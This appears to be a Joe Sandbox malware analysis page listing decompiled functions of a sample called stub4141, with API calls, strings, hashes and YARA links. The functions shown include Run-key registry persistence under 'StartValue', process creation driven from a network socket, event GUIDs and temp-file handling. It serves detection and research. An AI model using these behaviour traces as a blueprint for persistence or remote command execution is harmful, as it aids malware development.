Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID:
String ID: <$GET$LmC$application/octet-stream$text/plain
API String ID: 0-1652023683
Opcode ID: 91fdc060e74dac13ae5a8a9f0a1d326af47d52c34f98d662fd27336814c6cc86
Instruction ID: be31aff869bbf4d3e7badc772e9de8d968b4a6c3a3c22023e23c4b251ee82fe6
Opcode Fuzzy Hash: 91fdc060e74dac13ae5a8a9f0a1d326af47d52c34f98d662fd27336814c6cc86
Instruction Fuzzy Hash: 19F1EA70A00218EFDB24CFA4DC89BEEB7B5FB48704F14855DE509AB280DB749985CF99

Function 004085E0 Relevance: 35.1, APIs: 15, Strings: 5, Instructions: 149memoryprocessCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 00408657
SetEvent.KERNEL32(00000000), ref: 004086A8
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 004086B5
wnsprintfW.SHLWAPI ref: 00408712
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00408722
wnsprintfW.SHLWAPI ref: 00408754
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 0040879B
LocalFree.KERNEL32(00000000), ref: 004087AE
LocalFree.KERNEL32(00000000), ref: 004087BB
LocalFree.KERNEL32(00000000), ref: 004087C8
OpenEventW.KERNEL32(00100002,00000000,{FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}), ref: 004087DA
SetEvent.KERNEL32(00000000), ref: 004087ED
CloseHandle.KERNEL32(00000000), ref: 004087F7
shutdown.WS2_32(?,00000002), ref: 00408803
closesocket.WS2_32(?), ref: 0040880D

Part of subcall function 00405D50: CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00405D81
Part of subcall function 00405D50: GetLastError.KERNEL32 ref: 00405D8C
Part of subcall function 00405D50: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00405DA4
Part of subcall function 00405D50: __snwprintf.LIBCMT ref: 00405DCE
Part of subcall function 00405D50: CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00405DF3
Part of subcall function 00405D50: GetLastError.KERNEL32 ref: 00405DFC
Part of subcall function 00405D50: LocalFree.KERNEL32(00000000), ref: 00405E7C
Part of subcall function 00405D50: LocalFree.KERNEL32(00000000), ref: 00405E86

Strings

D, xrefs: 0040876E
{85CEBC84-7FEF-4A5E-8D36-DB9B65BD95B9}, xrefs: 00408737
{FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}, xrefs: 004087CE
%s%s, xrefs: 00408701
"%s" %s, xrefs: 00408743

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$Free$AllocCreateEvent$ErrorLastwnsprintf$CloseDirectoryFileHandleOpenProcess__snwprintfclosesocketsetsockoptshutdown
String ID: "%s" %s$%s%s$D${85CEBC84-7FEF-4A5E-8D36-DB9B65BD95B9}${FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}
API String ID: 2452205246-4083196791
Opcode ID: 582093d30f3da5cbe62d527978db3848304c2d66358228b755f68a7f867029a4
Instruction ID: 6cc33210150864dba3fcad2cfb98695681f57c4bdfe79695892a0b2115779eee
Opcode Fuzzy Hash: 582093d30f3da5cbe62d527978db3848304c2d66358228b755f68a7f867029a4
Instruction Fuzzy Hash: 37514E71900218AFEB20DBA4DD89FAE77B4FF48704F10496DF609A7292DB745984CF68

Function 0040EA60 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 114memorystringCOMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32(00437A98,00000000,00000000,00000000), ref: 0040EA7D
_memset.LIBCMT ref: 0040EAA2
lstrlenW.KERNEL32(00000000), ref: 0040EAAE
__snwprintf.LIBCMT ref: 0040EAE5
CreateDirectoryW.KERNEL32(?,00000000), ref: 0040EAF6
GetLastError.KERNEL32 ref: 0040EB18
LocalAlloc.KERNEL32(00000040,00000208), ref: 0040EB30
__snwprintf.LIBCMT ref: 0040EB61
lstrlenW.KERNEL32(00000000), ref: 0040EB70
CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0040EB85
LocalAlloc.KERNEL32(00000040,00000208), ref: 0040EBA1
_memmove.LIBCMT ref: 0040EBD2
CoTaskMemFree.COMBASE(00000000), ref: 0040EBDE
LocalFree.KERNEL32(00000000), ref: 0040EBEB
RemoveDirectoryW.KERNEL32(00000000), ref: 0040EC00
LocalFree.KERNEL32(00000000), ref: 0040EC0D
RemoveDirectoryW.KERNEL32(?), ref: 0040EC1A
CoTaskMemFree.COMBASE(00000000), ref: 0040EC24

Strings

\\?\%s , xrefs: 0040EAD4
%s\System32, xrefs: 0040EB50

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: DirectoryFreeLocal$AllocCreateRemoveTask__snwprintflstrlen$ErrorFolderKnownLastPath_memmove_memset
String ID: %s\System32$\\?\%s
API String ID: 2912166009-2868705786
Opcode ID: d613b27726e644d924032028f73e1b38d1f329f89069166a8d39818a90bebe68
Instruction ID: 113b24d3feecbb2c458f4f40aafcfbd011c662b206c85e587b2f066ac46838c6
Opcode Fuzzy Hash: d613b27726e644d924032028f73e1b38d1f329f89069166a8d39818a90bebe68
Instruction Fuzzy Hash: 2F415574980218AFDB24EB90DD8DBDD73B4EB58701F1049E9E609A6291D7749E80CF98

Function 020EA237 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 136memoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 020EA587: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 020EA5DB
Part of subcall function 020EA587: lstrlenW.KERNEL32(?), ref: 020EA5ED
Part of subcall function 020EA587: lstrlenW.KERNEL32(?), ref: 020EA600
Part of subcall function 020EA587: LocalAlloc.KERNEL32(00000040,?), ref: 020EA619
Part of subcall function 020EA587: __snwprintf.LIBCMT ref: 020EA641
Part of subcall function 020EA587: lstrlenW.KERNEL32(00000000), ref: 020EA64D
Part of subcall function 020EA587: CoTaskMemFree.COMBASE(?), ref: 020EA65C

CreateDirectoryW.KERNEL32(00000000,00000000), ref: 020EA26A
GetLastError.KERNEL32 ref: 020EA275
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020EA28D
wsprintfW.USER32 ref: 020EA2B6
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 020EA2E1
CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000001,00000080,00000000), ref: 020EA338
GetLastError.KERNEL32 ref: 020EA344
LocalFree.KERNEL32(00000000), ref: 020EA3D9
LocalFree.KERNEL32(00000000), ref: 020EA3E3
LocalFree.KERNEL32(00000000), ref: 020EA3ED
LocalFree.KERNEL32(00000000), ref: 020EA44A

Strings

P, xrefs: 020EA366

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: Local$Free$lstrlen$AllocCreateErrorFileLast$DirectoryFolderKnownModuleNamePathTask__snwprintfwsprintf
String ID: P
API String ID: 4093884390-3110715001
Opcode ID: e5378c8bdff7e2af6f6805ae872ccb7a3220448b8a93afb4e0f18a154475f004
Instruction ID: fd394108f3761cc8755ad1e111e9eaf20a8eded69fd29bb813703949cbc33df6
Opcode Fuzzy Hash: e5378c8bdff7e2af6f6805ae872ccb7a3220448b8a93afb4e0f18a154475f004
Instruction Fuzzy Hash: 14514B70A00219EFDF65DBA4DC8CB9EB7B4EF4C315F1046A8E51AA2190C7749AC4DF54

Function 00418300 Relevance: 31.9, APIs: 15, Strings: 3, Instructions: 390COMMON

Download Yara Rule

Strings

GET, xrefs: 004185B7
*/*, xrefs: 00418322
<, xrefs: 00418496

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID:
String ID: */*$<$GET
API String ID: 0-4180448669
Opcode ID: 6139f12818a2bec7bae63ead60011a3f7fdebf2cfb1b5d387c1268f8e7ed804e
Instruction ID: 488bc7d66cc5ae2948834677f5e4c4867d5e584455619b3300870112301b7090
Opcode Fuzzy Hash: 6139f12818a2bec7bae63ead60011a3f7fdebf2cfb1b5d387c1268f8e7ed804e
Instruction Fuzzy Hash: 1D022C74900218DFEB14DFA4DD95BDEB7B4BB08304F10469EE619AB2C0DBB85A85CF54

Function 020F8B67 Relevance: 31.9, APIs: 15, Strings: 3, Instructions: 369COMMON

Download Yara Rule

Strings

LmC, xrefs: 020F8B77
LmC, xrefs: 020F8C00
<, xrefs: 020F8CA2

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID:
String ID: <$LmC$LmC
API String ID: 0-3452606656
Opcode ID: 79e15578ca6be9c27c1e6c543fc4b4b8c60a5dbf1220662d1e38e4e1983beb33
Instruction ID: 414dc94f98393c749799b765d28a865285d8e1c71702d33b996e0edfe021f2aa
Opcode Fuzzy Hash: 79e15578ca6be9c27c1e6c543fc4b4b8c60a5dbf1220662d1e38e4e1983beb33
Instruction Fuzzy Hash: 43F13E70A40318EFDBA4CFA4CC88BADB7B5FF48304F148559E609AB680D7749984DF94

Function 020ED087 Relevance: 31.6, APIs: 17, Strings: 1, Instructions: 117memoryprocessstringCOMMON

Download Yara Rule

APIs

Part of subcall function 020EA587: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 020EA5DB
Part of subcall function 020EA587: lstrlenW.KERNEL32(?), ref: 020EA5ED
Part of subcall function 020EA587: lstrlenW.KERNEL32(?), ref: 020EA600
Part of subcall function 020EA587: LocalAlloc.KERNEL32(00000040,?), ref: 020EA619
Part of subcall function 020EA587: __snwprintf.LIBCMT ref: 020EA641
Part of subcall function 020EA587: lstrlenW.KERNEL32(00000000), ref: 020EA64D
Part of subcall function 020EA587: CoTaskMemFree.COMBASE(?), ref: 020EA65C

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020ED0B9
__snwprintf.LIBCMT ref: 020ED0E3
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020ED0F2
GetModuleFileNameW.KERNEL32(00000000,00000000,00007FFF), ref: 020ED110
lstrcmpiW.KERNEL32(00000000,00000000), ref: 020ED126
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020ED13B
__snwprintf.LIBCMT ref: 020ED16A
_memset.LIBCMT ref: 020ED17A
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 020ED1A5
LocalFree.KERNEL32(00000000), ref: 020ED1B4
LocalFree.KERNEL32(00000000), ref: 020ED1BE
LocalFree.KERNEL32(00000000), ref: 020ED1C8
LocalFree.KERNEL32(00000000), ref: 020ED1D2
LocalFree.KERNEL32(00000000), ref: 020ED1E3
LocalFree.KERNEL32(00000000), ref: 020ED1ED
LocalFree.KERNEL32(00000000), ref: 020ED1F7
LocalFree.KERNEL32(00000000), ref: 020ED201

Strings

D, xrefs: 020ED182

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$__snwprintflstrlen$CreateFileFolderKnownModuleNamePathProcessTask_memsetlstrcmpi
String ID: D
API String ID: 2642993909-2746444292
Opcode ID: d7f9715107e1beff000a2c77b6a0833c88bc41f997c9c52f8f24a3d43c6f2108
Instruction ID: 4503ff40ec1b871abc3914cdbca5724042f0cb2f501e6d24967e599ea84e46e3
Opcode Fuzzy Hash: d7f9715107e1beff000a2c77b6a0833c88bc41f997c9c52f8f24a3d43c6f2108
Instruction Fuzzy Hash: 96413E75A40209BFDB50EBE4DC49FAE77B9FF48705F104868FA05A6290D7749680CFA4

Function 00405D50 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 116memoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040A320: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 0040A374
Part of subcall function 0040A320: lstrlenW.KERNEL32(?), ref: 0040A386
Part of subcall function 0040A320: lstrlenW.KERNEL32(00480318), ref: 0040A399
Part of subcall function 0040A320: LocalAlloc.KERNEL32(00000040,?), ref: 0040A3B2
Part of subcall function 0040A320: __snwprintf.LIBCMT ref: 0040A3DA
Part of subcall function 0040A320: lstrlenW.KERNEL32(00000000), ref: 0040A3E6
Part of subcall function 0040A320: CoTaskMemFree.COMBASE(?), ref: 0040A3F5

CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00405D81
GetLastError.KERNEL32 ref: 00405D8C
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00405DA4
__snwprintf.LIBCMT ref: 00405DCE
CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00405DF3
GetLastError.KERNEL32 ref: 00405DFC
LocalFree.KERNEL32(00000000), ref: 00405E7C
LocalFree.KERNEL32(00000000), ref: 00405E86
LocalFree.KERNEL32(00000000), ref: 00405ED1

Strings

P, xrefs: 00405E15
%s%s, xrefs: 00405DC0

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$Free$lstrlen$AllocCreateErrorLast__snwprintf$DirectoryFileFolderKnownPathTask
String ID: %s%s$P
API String ID: 3676116642-50959982
Opcode ID: fb9334a64f9b056e8c2fe477d627c5bbff11a6fe4070e5379e1e1a789bb609b6
Instruction ID: 55a9f4d18a57ccd89858cc13996c771a7df44cf66bcd83e65c9e51d304988a0d
Opcode Fuzzy Hash: fb9334a64f9b056e8c2fe477d627c5bbff11a6fe4070e5379e1e1a789bb609b6
Instruction Fuzzy Hash: CE414970D00209EFDB14DBE0DC49BAFBBB5EB48301F204929E651B62D0D7789A41CFA9

Function 020E8847 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 149memoryprocessCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 020E88BE
SetEvent.KERNEL32(0048C660), ref: 020E890F
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020E891C
wnsprintfW.SHLWAPI ref: 020E8979
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020E8989
wnsprintfW.SHLWAPI ref: 020E89BB
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 020E8A02
LocalFree.KERNEL32(00000000), ref: 020E8A15
LocalFree.KERNEL32(00000000), ref: 020E8A22
LocalFree.KERNEL32(00000000), ref: 020E8A2F
OpenEventW.KERNEL32(00100002,00000000,00485E44), ref: 020E8A41
SetEvent.KERNEL32(00000000), ref: 020E8A54
CloseHandle.KERNEL32(00000000), ref: 020E8A5E
shutdown.WS2_32(?,00000002), ref: 020E8A6A
closesocket.WS2_32(?), ref: 020E8A74

Part of subcall function 020E5FB7: CreateDirectoryW.KERNEL32(00000000,00000000), ref: 020E5FE8
Part of subcall function 020E5FB7: GetLastError.KERNEL32 ref: 020E5FF3
Part of subcall function 020E5FB7: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020E600B
Part of subcall function 020E5FB7: __snwprintf.LIBCMT ref: 020E6035
Part of subcall function 020E5FB7: CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 020E605A
Part of subcall function 020E5FB7: GetLastError.KERNEL32 ref: 020E6063
Part of subcall function 020E5FB7: LocalFree.KERNEL32(00000000), ref: 020E60E3
Part of subcall function 020E5FB7: LocalFree.KERNEL32(00000000), ref: 020E60ED

Strings

D, xrefs: 020E89D5

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: Local$Free$AllocCreateEvent$ErrorLastwnsprintf$CloseDirectoryFileHandleOpenProcess__snwprintfclosesocketsetsockoptshutdown
String ID: D
API String ID: 2452205246-2746444292
Opcode ID: 60624cd1c6bb68e6c7a43f12831537cbb94e43cc3d7a26435967bb424760b7e5
Instruction ID: 687012e28ca32322346db3f3e6a03e82e8d1db7c89568a0297fd48ea67ece047
Opcode Fuzzy Hash: 60624cd1c6bb68e6c7a43f12831537cbb94e43cc3d7a26435967bb424760b7e5
Instruction Fuzzy Hash: 8E516C71A00219AFEB60DFA4CC89FADB7B4FF48700F1485A8F609A7291DB745984CF64

Function 00415B60 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 145threadnetworkstringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0048098C), ref: 00415B6E
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00415B80
CreateThread.KERNEL32(00000000,00000000,004060B0,00000000,00000000,00000000), ref: 00415BA3
LocalFree.KERNEL32(00000000), ref: 00415BC1
_memset.LIBCMT ref: 00415C3A
__snwprintf.LIBCMT ref: 00415C5F
LocalFree.KERNEL32(00000000), ref: 00415C99
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00415CE4
CreateThread.KERNEL32(00000000,00000000,00409650,00000000,00000000,00000000), ref: 00415D07
CloseHandle.KERNEL32(00000000), ref: 00415D24
WSAStartup.WS2_32(00000002,?), ref: 00415D33
CreateThread.KERNEL32(00000000,00000000,0041A970,00000000,00000000,00000000), ref: 00415D55
CreateThread.KERNEL32(00000000,00000000,004203D0,00000000,00000000,00000000), ref: 00415D6F
WSACleanup.WS2_32 ref: 00415D8A

Strings

{DB324A97-B31B-4D9E-9903-E21DB623A349}, xrefs: 00415C7E
"%s%s", xrefs: 00415C4E

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Create$Thread$EventFreeLocal$CleanupCloseHandleStartup__snwprintf_memsetlstrlen
String ID: "%s%s"${DB324A97-B31B-4D9E-9903-E21DB623A349}
API String ID: 990009833-854426599
Opcode ID: fae40f2cd2a45a30972e1615940d973e9f72783ad0937756ff066f4b8c45de63
Instruction ID: 20f91b066319c9c13c85eb3de535f91cc2c9d813d41f6fbf7b2461b5b40fdf43
Opcode Fuzzy Hash: fae40f2cd2a45a30972e1615940d973e9f72783ad0937756ff066f4b8c45de63
Instruction Fuzzy Hash: 28514F70640714EFE724AB60ED4ABDA3264A745B05F10486EF709A92E0DBF865C8CB5E

Function 0040CC10 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 117memoryfileCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 0040CC1C
_memmove.LIBCMT ref: 0040CC3B
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0040CC88
GetTempPathW.KERNEL32(00007FFF,00000000), ref: 0040CCA4
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0040CCB9
__snwprintf.LIBCMT ref: 0040CCE2
CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000002,00000000,00000000), ref: 0040CCFD
WriteFile.KERNEL32(000000FF,00000000,00000000,?,00000000), ref: 0040CD1E
CloseHandle.KERNEL32(000000FF), ref: 0040CD30
LocalFree.KERNEL32(00000000), ref: 0040CD3A
CloseHandle.KERNEL32(000000FF), ref: 0040CD49
DeleteFileW.KERNEL32(00000000), ref: 0040CD53
LocalFree.KERNEL32(00000000), ref: 0040CD5D
LocalFree.KERNEL32(00000000), ref: 0040CD67
LocalFree.KERNEL32(00000000), ref: 0040CD71

Strings

%s%s, xrefs: 0040CCD4

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$Free$AllocFile$CloseHandle$CreateDeletePathTempWrite__snwprintf_memmove
String ID: %s%s
API String ID: 2323091063-3252725368
Opcode ID: 838490320fadef22a128f027159d0d3ae7897869b61e7e9687a1b14350fcadee
Instruction ID: bd29aaf6b23d9d625350f9af9cfb1616860e7fd302a812bea9699f6be0e40257
Opcode Fuzzy Hash: 838490320fadef22a128f027159d0d3ae7897869b61e7e9687a1b14350fcadee
Instruction Fuzzy Hash: 4A413B74A00209EFDB14DFA4DD89FAEBBB5FF48700F104969F615A7290C7749A41CB94

Function 004218D0 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 116librarymemoryloaderCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000318), ref: 004218E0
LoadLibraryW.KERNEL32(NTDLL.DLL), ref: 004218F8
LocalFree.KERNEL32(00000000), ref: 0042190B
GetProcAddress.KERNEL32(00000000,RtlGetVersion), ref: 00421921
LocalFree.KERNEL32(00000000), ref: 00421934

Strings

RtlGetVersion, xrefs: 00421918
NTDLL.DLL, xrefs: 004218F3

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$Free$AddressAllocLibraryLoadProc
String ID: NTDLL.DLL$RtlGetVersion
API String ID: 2539306102-196638859
Opcode ID: 04a901281496aed5bedcb8e6f3ecc89b7ea8dbdb6ce771dcfe249048e6cecb4f
Instruction ID: e74100e216f514fcdb04930d6910e5ed31e23d5438b4024e69a4cab530729f8c
Opcode Fuzzy Hash: 04a901281496aed5bedcb8e6f3ecc89b7ea8dbdb6ce771dcfe249048e6cecb4f
Instruction Fuzzy Hash: EE510274A01218EFCB14DFA0D998BEEB7B4BB48304F5085A9E509A73A0D7749F81DF94

Function 004060B0 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 92memoryfilesynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 004060C1
SHGetKnownFolderPath.SHELL32(00437A58,00000000,00000000,?), ref: 004060DF
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 004060F4
__snwprintf.LIBCMT ref: 0040611E
CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00406140
CloseHandle.KERNEL32(000000FF), ref: 0040616F
LocalFree.KERNEL32(00000000), ref: 00406180
CoTaskMemFree.COMBASE(?), ref: 0040618A
OpenEventW.KERNEL32(00100002,00000000,{FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}), ref: 0040619C
SetEvent.KERNEL32(00000000), ref: 004061AF
CloseHandle.KERNEL32(00000000), ref: 004061B9
CloseHandle.KERNEL32(000000FF), ref: 004061CB
LocalFree.KERNEL32(00000000), ref: 004061D5
CoTaskMemFree.COMBASE(?), ref: 004061DF

Strings

{FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}, xrefs: 00406190
%s\%s, xrefs: 00406110

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Free$CloseHandleLocal$EventTask$AllocCreateFileFolderKnownObjectOpenPathSingleWait__snwprintf
String ID: %s\%s${FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}
API String ID: 1432346771-3808673639
Opcode ID: 4f46d8ba8bf977876fbc9e671b6e9035fc77941f4e68e8b2a9a4419487c681f4
Instruction ID: 772bf193cdc01b55c6819468526a8f4e466d1de85cf2c28c45bd43dcfb68402d
Opcode Fuzzy Hash: 4f46d8ba8bf977876fbc9e671b6e9035fc77941f4e68e8b2a9a4419487c681f4
Instruction Fuzzy Hash: BE317C74A40304FFDB20EBA4CC4DB6E7774EB04711F104A2AF512A62D2CB789A45DF58

Function 0040CA60 Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 84registrymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040A320: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 0040A374
Part of subcall function 0040A320: lstrlenW.KERNEL32(?), ref: 0040A386
Part of subcall function 0040A320: lstrlenW.KERNEL32(00480318), ref: 0040A399
Part of subcall function 0040A320: LocalAlloc.KERNEL32(00000040,?), ref: 0040A3B2
Part of subcall function 0040A320: __snwprintf.LIBCMT ref: 0040A3DA
Part of subcall function 0040A320: lstrlenW.KERNEL32(00000000), ref: 0040A3E6
Part of subcall function 0040A320: CoTaskMemFree.COMBASE(?), ref: 0040A3F5

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0040CA8B
wnsprintfW.SHLWAPI ref: 0040CABA
RegOpenKeyW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,?), ref: 0040CADD
RegSetValueExW.ADVAPI32(?,StartValue,00000000,00000001,?,?), ref: 0040CB00
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00415CAD), ref: 0040CB0A
RegOpenKeyW.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,?), ref: 0040CB27
RegSetValueExW.ADVAPI32(?,StartValue,00000000,00000001,?,?), ref: 0040CB4A
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00415CAD), ref: 0040CB54
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00415CAD), ref: 0040CB5E
LocalFree.KERNEL32(00000000), ref: 0040CB68

Strings

StartValue, xrefs: 0040CB41
StartValue, xrefs: 0040CAF7
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0040CAD3
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0040CB1D
{DB324A97-B31B-4D9E-9903-E21DB623A349}, xrefs: 0040CA9E
%s%s %s, xrefs: 0040CAAC

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

